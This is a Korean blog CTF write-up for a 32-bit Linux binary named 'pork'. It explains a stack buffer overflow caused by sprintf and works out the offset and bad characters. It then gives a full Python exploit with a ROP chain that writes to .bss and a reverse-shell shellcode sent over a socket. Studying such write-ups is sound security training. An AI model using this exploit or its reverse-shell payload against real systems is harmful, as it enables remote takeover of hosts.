# file pork-8c2fdf93e211c7358e0192a24bc951843da672b1
pork-8c2fdf93e211c7358e0192a24bc951843da672b1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=e163925191d2ce2e331746946dec30fddcfad4ba, not stripped
어떠한 방어 기법도 적용되어 있지 않은 32bit 바이너리이다.
취약점이 터지는 부분이다.
buf는 우리가 main 함수에서 url 에 해당하는 부분인데 2048byte 만큼 입력받는 부분이다. s의 ebp 까지의 offset은 1112byte 이다. 얼핏봐도 충분히 ret address 를 조작할 수 있다.
조심해야 할 것은 이전에 sprintf 를 거치며 들어간 문자열을 빼주어야 한다.
>>> len("<html><title>404 Not found</title><body><h1>Not found</h1>\r\n<p>Could not find DNS entry for ")
92
즉, buffer(1020) | sfp(4) | ret(4) 이므로, 사용자 입력이 1024byte 부터 ret address 조작이 가능하다.
주의해야 할 것은 sscanf 로 입력을 받기 때문에 \x00, \x2f 와 같은 문자열을 쓰면 페이로드가 짤리게 된다.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - -
from socket import *
from struct import *
import time
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.140', 33227))
p = lambda x : pack("<L", x)
raw_input(">")
def sprintf(d,s):
payload = p(0x0804887c)
payload += p(0x080499a7)
payload += p(d)
payload += p(s)
return payload
# reverse shellode - 72byte (ip - 127.0.0.1, port - 55555)
shellcode = "\x68\x7f\x01\x01\x01\x5e\x66\x68\xd9\x03\x5f\x6a" + \
"\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1" + \
"\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" + \
"\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a\x10\x51" + \
"\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73" + \
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce"
bss = 0x0804ad40
gadget = [ 0x804874c, 0x80482f0, 0x8049840, 0x8049650, # bss+40
0x8049840, 0x8049af8, 0x8049af8, 0x8049af8, # 4
0x804874c, 0x80482f0, 0x8049840, 0x8049650, # bss+40
0x8049af8, 0x8049af8, 0x8049a58, 0x8049af8] # 0x500
payload = "A" * 1024
payload += sprintf(bss, 0x0804ac98)
bss += 4
for i in gadget:
payload += sprintf(bss, i)
bss += 1
payload += p(0x080499d8) # pop ebp - ret
payload += p(0x0804ad3c) # bss - 4
payload += p(0x080499f6) # leave - ret
s.send("GET http://" + payload + "/ HTTP/1.1\r\n")
time.sleep(0.5)
s.send("\r\n")
s.send(shellcode)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'ctf' 카테고리의 다른 글
[pwnable.kr] fsb (0) | 2017.01.08 |
---|---|
[pwnable.kr] simple_login (0) | 2017.01.08 |
[DEFCON 2015 CTF] r0pbaby (0) | 2017.01.05 |
[CodeGate 2016 CTF] BugBug (0) | 2017.01.04 |
[CodeGate 2016 CTF] Fl0ppy (0) | 2016.12.21 |